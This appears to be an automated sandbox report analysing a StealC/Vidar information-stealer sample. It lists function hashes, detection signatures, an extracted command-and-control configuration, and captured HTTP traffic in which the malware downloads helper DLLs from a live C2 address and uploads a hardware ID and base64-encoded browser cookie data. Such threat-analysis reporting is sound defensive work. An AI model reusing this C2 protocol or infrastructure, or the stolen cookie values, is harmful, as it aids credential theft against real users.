Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9a502952e8652031452496e464b3f839248af5ca262aae13a68fe543402694a0
Instruction ID: a6122d0398a0a5d00dd4fdda7db45b0413079bdb90a5af82390de2c99bbb886e
Opcode Fuzzy Hash: 9a502952e8652031452496e464b3f839248af5ca262aae13a68fe543402694a0
Instruction Fuzzy Hash: A951B071A052568FDB14CF18C980B6EB7B5FF49304F59852DC89FAB710DB39A804CBA1

Function 6CB3B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAE0A4D), ref: 6CB3B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAE0A4D), ref: 6CB3B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAE0A4D), ref: 6CB3B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAE0A4D), ref: 6CB3B67F

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 3772ad7b1ade34a44cd3f108135a4faea5ed73a22fed253691b59d8014d97053
Instruction ID: c039eb777d225e45925f9a373176a89b441be459cd7d3a3eb057256664b3d959
Opcode Fuzzy Hash: 3772ad7b1ade34a44cd3f108135a4faea5ed73a22fed253691b59d8014d97053
Instruction Fuzzy Hash: B831D471B016268FDB10CF58CC4465AFBBAFF85314F5A8569C80E9B20ADB31E915CBA1

Function 6CB0F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB0F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB0F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0F668

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: da519cb65f4f54f14df2a6ed57246dfec65ff54ba12b7719bb156dee23131e03
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B9313E71B00654AFC714CF59CCC0A9F7BB6EB84758B148539EA4A8BB09D631ED448B98

Function 6CB226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB226C1
free.MOZGLUE(?), ref: 6CB226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB226FF
free.MOZGLUE ref: 6CB2270D

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 81186e54182339102be8844f8f394fd6f06c86d990681135759a279035635edd
Instruction ID: a74f9be01a254d0653a0739484d75652bc0e2dda296c972f2f2ee81053014aa3
Opcode Fuzzy Hash: 81186e54182339102be8844f8f394fd6f06c86d990681135759a279035635edd
Instruction Fuzzy Hash: 29F0F9B27012405BE7019E18DC88D6773ADEF55228B540035EA1EC3B01E335F959C793

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.f30000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.f30000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/e2b1563c6670f193.phpom	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dllw	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll0	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll4	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpdll	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpV	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpD	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dllz	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php3	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php9P	Virustotal: Detection: 19%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F39B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00F39B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F3C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00F3C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F39AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00F39AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F37240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00F37240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F48EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00F48EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CAE6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49720 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49720 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.6:49720
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49720 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.6:49720
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49720 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 32 43 41 37 38 34 43 39 35 42 33 34 30 37 37 39 30 35 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d 0a Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="hwid"882CA784C95B340779059------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="build"doma------GCBKECAKFBGCAKECGIEH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJKHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="message"browsers------BGHJEBKJEGHJKECAAKJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEHDHCFIJDBFHJJDBFHHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 45 48 44 48 43 46 49 4a 44 42 46 48 4a 4a 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 48 43 46 49 4a 44 42 46 48 4a 4a 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 48 44 48 43 46 49 4a 44 42 46 48 4a 4a 44 42 46 48 2d 2d 0d 0a Data Ascii: ------HIEHDHCFIJDBFHJJDBFHContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------HIEHDHCFIJDBFHJJDBFHContent-Disposition: form-data; name="message"plugins------HIEHDHCFIJDBFHJJDBFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHDBGHJKFIDHJJJEBHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="message"fplugins------ECAFHDBGHJKFIDHJJJEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFCBFCBFBKEBFIDBKECHost: 185.215.113.37Content-Length: 6823Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHIIJDGHCBFIECBKEGHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FBGHIIJDGHCBFIECBKEGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nU
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFBAFIDAECAKFHJDBAFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="file"------HCFBAFIDAECAKFHJDBAF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"bce5116d3756bb838cb4f5989e90dbc3c92434421f8cd556c26a0caf33af83dab1f1e357------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file"------KEHCAFHIJECGCAKFCGDB--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJHost: 185.215.113.37Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEHHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 63 65 35 31 31 36 64 33 37 35 36 62 62 38 33 38 63 62 34 66 35 39 38 39 65 39 30 64 62 63 33 63 39 32 34 33 34 34 32 31 66 38 63 64 35 35 36 63 32 36 61 30 63 61 66 33 33 61 66 38 33 64 61 62 31 66 31 65 33 35 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d 0a Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: 